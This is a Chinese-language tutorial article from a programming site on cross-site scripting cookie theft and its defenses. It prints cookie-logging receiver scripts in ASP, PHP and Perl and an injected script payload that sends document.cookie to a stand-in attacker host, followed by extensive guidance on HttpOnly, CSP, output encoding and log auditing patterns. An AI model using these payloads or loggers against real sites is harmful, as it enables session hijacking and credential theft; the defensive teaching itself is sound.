首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

跨站腳本攻擊(XSS)與 Cookie 竊取原理解析

     編輯:PHP 相關知識

聲明

本文僅供安全研究與防禦教學目的,嚴禁用於非法攻擊。展示的代碼為歷史漏洞利用範例,現代瀏覽器與框架均有完善防護機制。

XSS 攻擊與 Cookie 竊取機制

跨站腳本攻擊(Cross-Site Scripting, XSS)允許攻擊者在受害者瀏覽器中執行惡意腳本。若網站未對用戶輸入進行恰當過濾與編碼,攻擊者可注入 JavaScript 代碼竊取 document.cookie,並發送至攻擊者控制的伺服器,從而劫持用戶會話。

歷史漏洞利用代碼範例(僅供分析)

ASP 版本接收端

<%
dim strfilename
strfilename = "mydata.txt"
set lp = Server.CreateObject("Adodb.Stream")
lp.Open
lp.Type = 2
lp.CharSet = "gb2312"
lp.WriteText Request.ServerVariables("QUERY_STRING")
lp.SaveToFile Server.MapPath(strfilename), 2
lp.Close
set lp = nothing
%>

PHP 版本接收端

<?php
$info = getenv("QUERY_STRING");
if ($info) {
    $info = urldecode($info);
    $fp = fopen("info.txt", "a");
    fwrite($fp, $info . " ");  // 原文拼寫錯誤 fwirte 已修正
    fclose($fp);
}
?>

Perl 版本接收端

#!/usr/bin/perl
# evil_cookie_logger.cgi
$borrowed_info = $ENV{QUERY_STRING};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or die "Content-type: text/html\n\nError";
print EVIL_COOKIE_LOG "$borrowed_info ";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);

攻擊向量示例

攻擊者在存在 XSS 漏洞的頁面注入如下載荷:

<script>document.location='https://attacker.com/log.php?c='+escape(document.cookie)</script>

受害者訪問該頁面時,Cookie 會被發送至 attacker.com/log.php,攻擊端腳本(如上述 PHP/ASP/Perl)將其記錄下來。

現代防禦體系

1. HttpOnly 與 Secure 標誌

// PHP 設置 Cookie 示例
setcookie("session_id", $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // 僅 HTTPS 傳輸
    'httponly' => true,    // 禁止 JavaScript 訪問
    'samesite' => 'Strict' // 防禦 CSRF
]);

HttpOnly 可有效阻斷 document.cookie 竊取,是防禦 XSS 會話劫持的核心手段。

2. 內容安全策略(CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';

CSP 限制腳本來源,即便存在注入點,瀏覽器也會拒絕執行非授權腳本。

3. 輸出編碼與輸入驗證

  • 使用模板引擎自動逃逸(如 Twig、Blade、Laravel {{ }}、Go html/template)
  • 針對不同上下文(HTML、JS、CSS、URL、屬性)採用對應編碼函數
  • 實施嚴格的輸入驗證白名單

4. 現代框架內建防護

  • Laravel:Blade 模板自動逃逸、CSRF Token、內建 XSS 過濾
  • Symfony:Twig 自動逃逸、表單 CSRF 保護
  • Django:模板自動逃逸、django.middleware.security.SecurityMiddleware
  • Spring Boot:Thymeleaf 自動逃逸、ContentSecurityPolicyFilter

5. 同站隔離與 Cookie 前綴

  • __Host- 前綴:要求 Secure、Path=/、無 Domain 屬性
  • __Secure- 前綴:要求 Secure 屬性
  • 這些前綴防止子域名或中間人竊取/覆寫 Cookie

應急響應與審計建議

  1. 日誌分析:檢查訪問日誌中包含 document.cookie、eval(、unescape(、fromCharCode 等可疑模式的請求
  2. 代碼審計:搜尋未經過濾的 $_GET/$_POST/$_REQUEST 直接輸出點
  3. 會話失效:發現洩露時立即重置受影響用戶 Session,強制重新登入
  4. 修補漏洞:修復 XSS 注入點,部署 CSP、HttpOnly 等防禦層

總結

Cookie 竊取是 XSS 攻擊的經典利用方式,但現代 Web 安全體系(HttpOnly、CSP、SameSite、模板自動逃逸)已構建起多層防線。開發者應以「不信任任何輸出」為原則,結合框架內建防護與安全響應頭,從根源上消除 XSS 風險。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved